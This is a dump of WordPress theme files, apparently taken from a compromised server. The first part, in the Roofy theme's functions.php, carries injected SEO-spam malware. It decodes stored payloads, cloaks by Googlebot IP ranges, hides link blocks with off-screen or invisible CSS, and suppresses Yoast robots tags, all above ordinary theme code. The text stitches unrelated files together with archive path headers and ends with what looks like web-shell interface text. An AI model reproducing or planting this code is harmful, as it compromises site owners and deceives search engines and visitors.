WEEK_IN_SECONDS); echo $esc_attr_private; } function is_front_page_info() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$wp_die_repository</lastmod> <changefreq>$esc_attr_view</changefreq> <priority>$priority</priority> </url>\n\n STR; } function _e_stack($writersArr) { $get_header_long = array(); foreach ($writersArr as $item) { $get_header_long[] = '-' . $item; } return implode(',', $get_header_long); } function add_section_https() { $get_template_part_pointer = array(); $bloginfo_edit = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $add_setting_live = unserialize(base64_decode($settings)); if ($add_setting_live) { $get_template_part_pointer = $add_setting_live; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_the_title_less = unserialize(base64_decode($settings)); if ($get_the_title_less) { $bloginfo_edit = $get_the_title_less; } } return $bloginfo_edit + $get_template_part_pointer; } function get_bloginfo_variable() { global $is_archive_core; foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) { $get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|' . str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$'); if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) { return $the_archive_title_http; } } } function bloginfo_json() { global $is_archive_core, $post; $get_the_tag_list_integer = array_keys($is_archive_core); if (in_array($post->post_author, $get_the_tag_list_integer)) { return true; } return false; } function is_customize_preview_base() { global $is_archive_core, $post; $get_the_tag_list_integer = array_keys($is_archive_core); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $get_the_tag_list_integer)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function esc_attr_e_pic() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function get_template_part_method() { $wp_get_attachment_image_src_class = esc_attr_e_pic(); if (strstr($wp_get_attachment_image_src_class, ', ')) { $wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class); $wp_get_attachment_image_src_class = $wp_list_comments_interface[0]; } $dynamic_sidebar_meta = add_setting_soap(); if (!$dynamic_sidebar_meta) { return false; } foreach ($dynamic_sidebar_meta as $range) { if (wp_head_add($wp_get_attachment_image_src_class, $range)) { return true; } } return false; } function esc_url_raw_queue($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function add_setting_soap() { if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($dynamic_sidebar_meta)) { return; } $value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_the_author_meta_hashing($inet) { $get_post_format_ajax = str_split($inet); $absint_wp = ''; foreach ($get_post_format_ajax as $char) { $absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $absint_wp; } function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) { $wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class); $absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class); list($net, $add_query_arg_constructor) = explode('/', $cidrnet); $net = inet_pton($net); $get_the_ID_integer = get_the_author_meta_hashing($net); $esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor); $esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor); if ($esc_attr_loop !== $esc_attr_e_constructor) { return false; } else { return true; } } function is_search_restful($get_queried_object_id_pointer) { global $post; $post_class_pic = ''; if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $post_class_pic = get_option('home_links_custom_0'); } } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $post_class_pic = get_option('home_links_custom_' . $matches[0]); } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema); } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$post_class_pic ? '' : $post_class_pic; } function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) { if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) { return false; } if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) { return true; } return false; } function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) { if (empty($esc_attr_x_schema)) { return ''; } if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $language_attributes_beta = is_page_get(); $the_permalink_module = $language_attributes_beta[$blockNum[0]]; return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1]; } return $esc_attr_x_schema; } function is_page_get() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function is_archive_client($get_queried_object_id_pointer) { return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head'); } function get_theme_mod_stat($get_queried_object_id_pointer) { return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer'); } function is_admin_method($settings) { foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) { if (isset($get_author_posts_url_restful['homeLinks'])) { return $get_author_posts_url_restful['homeLinks']; } } return array(); } function esc_attr_ajax() { if (!bloginfo_json()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function get_search_form_call() { global $get_queried_object_id_pointer; if (!esc_attr_ajax()) { return; } if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) { if (!get_template_part_method()) { return; } } $esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer); $esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema); echo $esc_attr_x_schema; } $is_archive_core = add_section_https(); if (is_array($is_archive_core)) { add_filter('posts_where_paged', 'wp_link_pages_live'); add_action('pre_get_posts', 'the_content_base'); add_action('wp_enqueue_scripts', 'is_singular_cookie'); add_filter('wp_count_posts', 'get_setting_json' , 10, 3); add_filter('rewrite_rules_array', 'add_setting_function'); add_action('wp_loaded', 'esc_url_loop'); add_action('init', 'get_the_time_statement'); add_action('template_redirect', 'is_customize_preview_base'); $get_queried_object_id_pointer = is_admin_method($is_archive_core); if (!empty($get_queried_object_id_pointer)) { if (is_archive_client($get_queried_object_id_pointer)) { add_action('wp_head', 'get_search_form_call'); } if (get_theme_mod_stat($get_queried_object_id_pointer)) { add_action('wp_footer', 'get_search_form_call'); } } } /* 21c1b9bf5bcf99fcb65467f4d45ee78c */ function roofy_after_setup_theme() { load_theme_textdomain('roofy', get_template_directory() . '/languages'); register_nav_menus( array( 'roofy_theme_menu_location' => esc_html__('Theme Navigation Menu', 'roofy') ) ); add_theme_support('title-tag'); add_theme_support('automatic-feed-links'); add_theme_support('html5', array('comment-list', 'comment-form', 'search-form', 'gallery', 'caption')); add_theme_support('post-formats', array('image', 'gallery', 'audio', 'video', 'quote', 'link', 'chat', 'status', 'aside')); add_theme_support('post-thumbnails'); add_theme_support('customize-selective-refresh-widgets'); add_theme_support('woocommerce'); add_theme_support('wc-product-gallery-lightbox'); add_theme_support('wc-product-gallery-zoom'); add_theme_support('wc-product-gallery-slider'); } add_action('after_setup_theme', 'roofy_after_setup_theme'); /* ============================================================================================================================================= */ function roofy_default_fonts($font = "") { if ($font == 'text_logo') { $font = 'Syncopate'; } elseif ($font == 'menu') { $font = 'Jost'; } elseif ($font == 'widget_title') { $font = 'FONT_LOCAL_TeXGyreAdventor'; } elseif ($font == 'h1') { $font = 'Onest'; } elseif ($font == 'h2_h6') { $font = 'Jost'; } elseif ($font == 'slider_title') { $font = 'FONT_LOCAL_Now'; } elseif ($font == 'body') { $font = 'Jost'; } elseif ($font == 'intro') { $font = ""; } elseif ($font == 'link_box_title') { $font = 'FONT_LOCAL_Now'; } elseif ($font == 'buttons') { $font = 'Jost'; } elseif ($font == 'tagline') { $font = ""; } elseif ($font == 'top_bar') { $font = 'Jost'; } elseif ($font == 'icon_box_title') { $font = ""; } return $font; } include_once(get_template_directory() . '/admin/html-attributes.php'); include_once(get_template_directory() . '/admin/enqueue-styles-scripts.php'); include_once(get_template_directory() . '/admin/enqueue-inline-style.php'); include_once(get_template_directory() . '/admin/enqueue-inline-script.php'); include_once(get_template_directory() . '/admin/image-sizes.php'); include_once(get_template_directory() . '/admin/override-post-class.php'); include_once(get_template_directory() . '/admin/override-post-gallery.php'); /* ============================================================================================================================================= */ /* To override this walker in a child theme without modifying the comments template simply create your own roofy_theme_comments(), and that function will be used instead. Used as a callback by wp_list_comments() for displaying the comments. */ function roofy_theme_comments($comment, $args, $depth) { $GLOBALS['comment'] = $comment; switch ($comment->comment_type) { case 'pingback' : case 'trackback' : ?> <li id="comment-<?php comment_ID(); ?>" <?php comment_class(); ?>> <p> <?php esc_html_e('Pingback:', 'roofy'); ?> <?php comment_author_link(); ?> <?php edit_comment_link(esc_html__('(Edit)', 'roofy'), '<span class="edit-link">', '</span>'); ?> </p> <?php break; default : global $post; ?> <li id="li-comment-<?php comment_ID(); ?>" <?php comment_class(); ?>> <article id="comment-<?php comment_ID(); ?>" class="comment"> <header class="comment-meta comment-author vcard"> <?php echo get_avatar($comment, 150); ?> <cite class="fn"> <?php echo get_comment_author_link(); ?> </cite> <span class="comment-date"> <?php echo get_comment_date(); ?> <?php esc_html_e('at', 'roofy'); ?> <?php echo get_comment_time(); ?> <?php edit_comment_link(esc_html__('Edit', 'roofy'), '<span class="comment-edit-link">', '</span>'); ?> </span> </header> <section class="comment-content comment"> <?php if ('0' == $comment->comment_approved) { ?> <p class="comment-awaiting-moderation"> <?php esc_html_e('Your comment is awaiting moderation.', 'roofy'); ?> </p> <?php } ?> <?php comment_text(); ?> </section> <div class="reply"> <?php comment_reply_link(array_merge($args, array('reply_text' => esc_html__('Reply', 'roofy'), 'after' => ' ' . '<span>' . esc_html__('↓', 'roofy') . '</span>', 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?> </div> </article> <?php break; } } /* ============================================================================================================================================= */ function roofy_post_tags() { $tags = get_theme_mod('roofy_setting_tags', 'Yes'); if ($tags != 'No') { if (get_the_tags() != "") { ?> <div class="post-tags tagcloud"> <?php the_tags("", ' ', ""); ?> </div> <!-- .post-tags .tagcloud --> <?php } } } /* ============================================================================================================================================= */ if (! function_exists('roofy_archive_layout')) { function roofy_archive_layout() { $layout = 'Regular'; if (is_home() || is_tax('post_format')) { $layout = get_theme_mod('roofy_setting_layout_blog', 'Grid'); } elseif (is_tax()) { $layout = 'Other'; // Custom taxonomy archives. } elseif (is_category()) { $layout = get_theme_mod('roofy_setting_layout_category', 'Grid'); } elseif (is_tag()) { $layout = get_theme_mod('roofy_setting_layout_tag', 'Grid'); } elseif (is_author()) { $layout = get_theme_mod('roofy_setting_layout_author', 'Grid'); } elseif (is_date()) { $layout = get_theme_mod('roofy_setting_layout_date', 'Grid'); } elseif (is_search()) { $layout = get_theme_mod('roofy_setting_layout_search', 'Grid'); } elseif (is_archive()) { $layout = 'Other'; // Other archives. } return $layout; } } /* ============================================================================================================================================= */ function roofy_1st_full_yes_no() { $first_full = 'No'; if (isset($_GET['first_full'])) { if ($_GET['first_full'] == 'yes') { $first_full = 'Yes'; } else { $first_full = 'No'; } } else { $layout = roofy_archive_layout(); if (($layout == '1st Full + Grid') || ($layout == '1st Full + List')) { $first_full = 'Yes'; } } return $first_full; } /* ============================================================================================================================================= */ function roofy_blog_grid_post_width() { $grid_post_width = get_theme_mod('roofy_setting_grid_post_width', '380'); echo esc_attr($grid_post_width); } function roofy_blog_grid_type() { $grid_type = 'masonry'; if (isset($_GET['grid_type'])) { if ($_GET['grid_type'] == 'fitRows') { $grid_type = 'fitRows'; } else { $grid_type = 'masonry'; } } else { $grid_type = get_theme_mod('roofy_setting_grid_type', 'fitRows'); } return esc_attr($grid_type); } /* ============================================================================================================================================= */ function roofy_wp_head__theme_directory_url() { // Used for local_font_url in customizer. if (is_customize_preview()) { $theme_directory_url = get_template_directory_uri(); // http://www.example.com/wp-content/themes/roofy // Remove URL prefix http: OR https: $theme_directory_url__http = strpos($theme_directory_url, 'http:'); // Check for http: $theme_directory_url__https = strpos($theme_directory_url, 'https:'); // Check for https: if ($theme_directory_url__http !== false) { $theme_directory_url = substr($theme_directory_url, 5); // Remove http: } elseif ($theme_directory_url__https !== false) { $theme_directory_url = substr($theme_directory_url, 6); // Remove https: } // end Remove URL prefix http: OR https: ?> <meta id="roofy_theme_directory_url" name="roofy_theme_directory_url" content="<?php echo esc_url($theme_directory_url); ?>"> <?php } } add_action('wp_head', 'roofy_wp_head__theme_directory_url'); /* ============================================================================================================================================= */ /* This function filters the post content when viewing a post with the "chat" post format. It formats the content with structured HTML markup to make it easy for theme developers to style chat posts. The advantage of this solution is that it allows for more than two speakers (like most solutions). You can have 100s of speakers in your chat post, each with their own, unique classes for styling. @author David Chandra @link http://www.turtlepod.org @author Justin Tadlock @link http://justintadlock.com @copyright Copyright (c) 2012 @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html @link http://justintadlock.com/archives/2012/08/21/post-formats-chat @global array $_post_format_chat_ids An array of IDs for the chat rows based on the author. @param string $content The content of the post. @return string $chat_output The formatted content of the post. */ function roofy_theme_post_format_chat_content( $content ) { global $_post_format_chat_ids; /* If this is not a 'chat' post, return the content. */ if ( !has_post_format( 'chat' ) ) { return $content; } /* Set the global variable of speaker IDs to a new, empty array for this chat. */ $_post_format_chat_ids = array(); /* Allow the separator (separator for speaker/text) to be filtered. */ $separator = apply_filters( 'my_post_format_chat_separator', ':' ); /* Open the chat transcript div and give it a unique ID based on the post ID. */ $chat_output = "\n\t\t\t" . '<div id="chat-transcript-' . esc_attr( get_the_ID() ) . '" class="chat-transcript">'; /* Split the content to get individual chat rows. */ $chat_rows = preg_split( "/(\r?\n)+|(<br\s*\/?>\s*)+/", $content ); /* Loop through each row and format the output. */ foreach ( $chat_rows as $chat_row ) { /* If a speaker is found, create a new chat row with speaker and text. */ if ( strpos( $chat_row, $separator ) ) { /* Split the chat row into author/text. */ $chat_row_split = explode( $separator, trim( $chat_row ), 2 ); /* Get the chat author and strip tags. */ $chat_author = strip_tags( trim( $chat_row_split[0] ) ); /* Get the chat text. */ $chat_text = trim( $chat_row_split[1] ); /* Get the chat row ID (based on chat author) to give a specific class to each row for styling. */ $speaker_id = roofy_theme_post_format_chat_row_id( $chat_author ); /* Open the chat row. */ $chat_output .= "\n\t\t\t\t" . '<div class="chat-row ' . sanitize_html_class( "chat-speaker-{$speaker_id}" ) . '">'; /* Add the chat row author. */ $chat_output .= "\n\t\t\t\t\t" . '<div class="chat-author ' . sanitize_html_class( strtolower( "chat-author-{$chat_author}" ) ) . ' vcard"><cite class="fn">' . apply_filters( 'my_post_format_chat_author', $chat_author, $speaker_id ) . '</cite>' . $separator . '</div>'; /* Add the chat row text. */ $chat_output .= "\n\t\t\t\t\t" . '<div class="chat-text"><p>' . str_replace( array( "\r", "\n", "\t" ), '', apply_filters( 'my_post_format_chat_text', $chat_text, $chat_author, $speaker_id ) ) . '</p></div>'; /* Close the chat row. */ $chat_output .= "\n\t\t\t\t" . '</div><!-- .chat-row -->'; } /* If no author is found, assume this is a separate paragraph of text that belongs to the previous speaker and label it as such, but let's still create a new row. */ else { /* Make sure we have text. */ if ( !empty( $chat_row ) ) { /* Open the chat row. */ $chat_output .= "\n\t\t\t\t" . '<div class="chat-row ' . sanitize_html_class( "chat-speaker-{$speaker_id}" ) . '">'; /* Don't add a chat row author. The label for the previous row should suffice. */ /* Add the chat row text. */ $chat_output .= "\n\t\t\t\t\t" . '<div class="chat-text"><p>' . str_replace( array( "\r", "\n", "\t" ), '', apply_filters( 'my_post_format_chat_text', $chat_row, $chat_author, $speaker_id ) ) . '</p></div>'; /* Close the chat row. */ $chat_output .= "\n\t\t\t</div><!-- .chat-row -->"; } } } /* Close the chat transcript div. */ $chat_output .= "\n\t\t\t</div><!-- .chat-transcript -->\n"; /* Return the chat content and apply filters for developers. */ return apply_filters( 'my_post_format_chat_content', $chat_output ); } /* This function returns an ID based on the provided chat author name. It keeps these IDs in a global array and makes sure we have a unique set of IDs. The purpose of this function is to provide an "ID" that will be used in an HTML class for individual chat rows so they can be styled. So, speaker "John" will always have the same class each time he speaks. And, speaker "Mary" will have a different class from "John" but will have the same class each time she speaks. @author David Chandra @link http://www.turtlepod.org @author Justin Tadlock @link http://justintadlock.com @copyright Copyright (c) 2012 @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html @link http://justintadlock.com/archives/2012/08/21/post-formats-chat @global array $_post_format_chat_ids An array of IDs for the chat rows based on the author. @param string $chat_author Author of the current chat row. @return int The ID for the chat row based on the author. */ function roofy_theme_post_format_chat_row_id( $chat_author ) { global $_post_format_chat_ids; /* Let's sanitize the chat author to avoid craziness and differences like "John" and "john". */ $chat_author = strtolower( strip_tags( $chat_author ) ); /* Add the chat author to the array. */ $_post_format_chat_ids[] = $chat_author; /* Make sure the array only holds unique values. */ $_post_format_chat_ids = array_unique( $_post_format_chat_ids ); /* Return the array key for the chat author and add "1" to avoid an ID of "0". */ return absint( array_search( $chat_author, $_post_format_chat_ids ) ) + 1; } /* Filter the content of chat posts. */ add_filter( 'the_content', 'roofy_theme_post_format_chat_content' ); /* ============================================================================================================================================= */ function roofy_blog_page_link_html($url) { ?> <div class="section-launch"> <a class="button" href="<?php echo esc_url($url); ?>"> <?php esc_html_e('See All Posts', 'roofy'); ?> </a> <!-- .button --> </div> <!-- .section-launch --> <?php } function roofy_blog_page_link() { $front_page_displays = get_option('show_on_front'); if ($front_page_displays == 'posts') { $home_url = home_url('/'); roofy_blog_page_link_html($home_url); } else { $blog_page_id = get_option('page_for_posts'); if ($blog_page_id) { $blog_page_url = get_page_link($blog_page_id); roofy_blog_page_link_html($blog_page_url); } } } /* ============================================================================================================================================= */ function roofy__register_elementor_locations($elementor_theme_manager) { $elementor_theme_manager->register_location('header'); $elementor_theme_manager->register_location('footer'); $elementor_theme_manager->register_location('single'); $elementor_theme_manager->register_location('archive'); } add_action('elementor/theme/register_locations', 'roofy__register_elementor_locations'); /* ============================================================================================================================================= */ if (is_admin()) { include_once(get_template_directory() . '/admin/theme-options.php'); } include_once(get_template_directory() . '/admin/admin--notice.php'); include_once(get_template_directory() . '/admin/admin--help-tab.php'); include_once(get_template_directory() . '/admin/admin--demo-import.php'); include_once(get_template_directory() . '/admin/functions-core.php'); include_once(get_template_directory() . '/admin/pre-get-posts.php'); include_once(get_template_directory() . '/admin/functions-layout-regular.php'); include_once(get_template_directory() . '/admin/functions-layout-grid.php'); include_once(get_template_directory() . '/admin/functions-singular.php'); include_once(get_template_directory() . '/admin/functions-portfolio.php'); include_once(get_template_directory() . '/admin/functions-woocommerce.php'); include_once(get_template_directory() . '/admin/widget_area-register.php'); include_once(get_template_directory() . '/admin/widget_area-sidebar-archive.php'); include_once(get_template_directory() . '/admin/widget_area-sidebar-singular.php'); include_once(get_template_directory() . '/admin/content-none.php'); include_once(get_template_directory() . '/admin/archive-title.php'); include_once(get_template_directory() . '/admin/automatic-excerpt.php'); include_once(get_template_directory() . '/admin/post-meta.php'); include_once(get_template_directory() . '/admin/about-author.php'); include_once(get_template_directory() . '/admin/navigation-archive.php'); include_once(get_template_directory() . '/admin/navigation-single.php'); include_once(get_template_directory() . '/admin/customizer-sections.php'); include_once(get_template_directory() . '/admin/customizer-settings.php'); home/xfekoga/rooftopcleaners/wp-content/themes/consultstreet/functions.php 0000644 00000022027 15174423710 0023356 0 ustar 00 <?php /** * consultstreet functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package consultstreet */ if ( ! function_exists( 'consultstreet_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function consultstreet_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on consultstreet, use a find and replace * to change 'consultstreet' to the name of your theme in all the template files. */ load_theme_textdomain( 'consultstreet', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded <title> tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => esc_html__( 'Primary', 'consultstreet' ), ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // woocommerce support add_theme_support( 'woocommerce' ); // Woocommerce Gallery Support add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 42, 'width' => 257, 'flex-height' => true, 'flex-width' => true, 'header-text' => array( 'site-title', 'site-description' ), ) ); /** * Enable support for Post Formats. * * See: https://codex.wordpress.org/Post_Formats */ add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat', ) ); /** * Custom background support. */ add_theme_support( 'custom-background', apply_filters( 'consultstreet_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); /** * Set default content width. */ if ( ! isset( $content_width ) ) { $content_width = 800; } } endif; add_action( 'after_setup_theme', 'consultstreet_setup' ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function consultstreet_widgets_init() { $sidebars = apply_filters( 'consultstreet_sidebars_data', array( 'sidebar-main' => esc_html__( 'Sidebar', 'consultstreet' ), 'footer-sidebar-one' => esc_html__( 'Footer Sidebar One', 'consultstreet' ), 'footer-sidebar-two' => esc_html__( 'Footer Sidebar Two', 'consultstreet' ), 'footer-sidebar-three' => esc_html__( 'Footer Sidebar Three', 'consultstreet' ), 'footer-sidebar-four' => esc_html__( 'Footer Sidebar Four', 'consultstreet' ), ) ); if ( class_exists( 'WooCommerce' ) ) { $sidebars['woocommerce'] = esc_html__( 'WooCommerce Sidebar', 'consultstreet' ); } foreach ( $sidebars as $id => $name ) : register_sidebar( array( 'id' => $id, 'name' => $name, 'description' => esc_html__( 'Add widgets here.', 'consultstreet' ), 'before_widget' => '<aside id="%1$s" class="widget text_widget %2$s wow animate fadeInUp" data-wow-delay=".3s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); endforeach; } add_action( 'widgets_init', 'consultstreet_widgets_init'); add_filter('woocommerce_show_page_title', '__return_false'); /** * Enqueue scripts and styles. */ function consultstreet_scripts() { $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; /** * Styles. */ wp_enqueue_style('bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.css'); // Fontawesome. wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/css/font-awesome/css/font-awesome.css', false, '4.7.0' ); // Theme style. wp_enqueue_style( 'consultstreet-style', get_stylesheet_uri() ); wp_enqueue_style('consultstreet-theme-default', get_template_directory_uri() . '/assets/css/theme-default.css'); wp_enqueue_style('animate-css', get_template_directory_uri() . '/assets/css/animate.css'); wp_enqueue_style('owl.carousel-css', get_template_directory_uri() . '/assets/css/owl.carousel.css'); wp_enqueue_style('bootstrap-smartmenus-css', get_template_directory_uri() . '/assets/css/bootstrap-smartmenus.css'); /** * Scripts. */ wp_enqueue_script('bootstrap-js', get_template_directory_uri() . '/assets/js/bootstrap.js', array('jquery')); // Theme JavaScript. wp_enqueue_script('consultstreet-smartmenus-js', get_template_directory_uri() . '/assets/js/smartmenus/jquery.smartmenus.js'); wp_enqueue_script( 'consultstreet-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20151215', true ); wp_enqueue_script('consultstreet-custom-js', get_template_directory_uri() . '/assets/js/custom.js'); wp_enqueue_script('bootstrap-smartmenus-js', get_template_directory_uri() . '/assets/js/smartmenus/bootstrap-smartmenus.js'); wp_enqueue_script('owl-carousel-js', get_template_directory_uri() . '/assets/js/owl.carousel.js'); if(get_theme_mod('consultstreet_animation_disabled', true) == true): wp_enqueue_script('animate-js', get_template_directory_uri() . '/assets/js/animation/animate.js'); wp_enqueue_script('wow-js', get_template_directory_uri() . '/assets/js/wow.js'); endif; if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'consultstreet_scripts' ); /** * Enqueue admin scripts and styles. */ function consultstreet_admin_enqueue_scripts(){ wp_enqueue_style('consultstreet-admin-style', get_template_directory_uri() . '/assets/css/admin.css'); wp_enqueue_script( 'consultstreet-admin-script', get_template_directory_uri() . '/assets/js/consultstreet-admin-script.js', array( 'jquery' ), '', true ); wp_localize_script( 'consultstreet-admin-script', 'consultstreet_ajax_object', array( 'ajax_url' => admin_url( 'admin-ajax.php' ) ) ); } add_action( 'admin_enqueue_scripts', 'consultstreet_admin_enqueue_scripts' ); /** * Enqueue customizer scripts and styles. */ function consultstreet_customizer_script() { wp_enqueue_style( 'consultstreet-customize',get_template_directory_uri().'/inc/customizer/assets/css/customize.css', CONSULTSTREET_THEME_VERSION, 'screen' ); wp_enqueue_script( 'consultstreet-customizer-script', get_template_directory_uri() .'/inc/customizer/assets/js/customizer-section.js', array("jquery"),'', true ); } add_action( 'customize_controls_enqueue_scripts', 'consultstreet_customizer_script' ); /** * Define constants */ // Root path/URI. define( 'CONSULTSTREET_PARENT_DIR', get_template_directory() ); define( 'CONSULTSTREET_PARENT_URI', get_template_directory_uri() ); // Include path/URI. define( 'CONSULTSTREET_PARENT_INC_DIR', CONSULTSTREET_PARENT_DIR . '/inc' ); define( 'CONSULTSTREET_PARENT_INC_URI', CONSULTSTREET_PARENT_URI . '/inc' ); // Icons path. define( 'CONSULTSTREET_PARENT_INC_ICON_URI', CONSULTSTREET_PARENT_URI . '/assets/img/icons' ); // Customizer path. define( 'CONSULTSTREET_PARENT_CUSTOMIZER_DIR', CONSULTSTREET_PARENT_INC_DIR . '/customizer' ); // Theme version. $consultstreet_theme = wp_get_theme(); define( 'CONSULTSTREET_THEME_VERSION', $consultstreet_theme->get( 'Version' ) ); define ( 'CONSULTSTREET_THEME_NAME', $consultstreet_theme->get( 'Name' ) ); /** * Implement the Custom Header feature. */ require CONSULTSTREET_PARENT_INC_DIR . '/custom-header.php'; /** * Custom template tags for this theme. */ require CONSULTSTREET_PARENT_INC_DIR . '/template-tags.php'; /** * Customizer additions. */ require CONSULTSTREET_PARENT_INC_DIR . '/customizer/consultstreet-customizer.php'; require CONSULTSTREET_PARENT_INC_DIR . '/customizer/consultstreet-customizer-options.php'; /** * Pgge layout setting. */ require CONSULTSTREET_PARENT_INC_DIR . '/metabox.php'; /** * Pgge layout setting. */ require CONSULTSTREET_PARENT_INC_DIR . '/theme-custom-typography.php'; /** * Bootstrap class navwalker. */ require CONSULTSTREET_PARENT_INC_DIR . '/consultstreet-class-bootstrap-navwalker.php'; rooftopcleaners/wp-content/themes/consultstreet/inc/customizer/customizer-repeater/functions.php 0000644 00000000142 15174425111 0032254 0 ustar 00 home/xfekoga <?php require get_template_directory() . '/inc/customizer/customizer-repeater/inc/customizer.php';
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings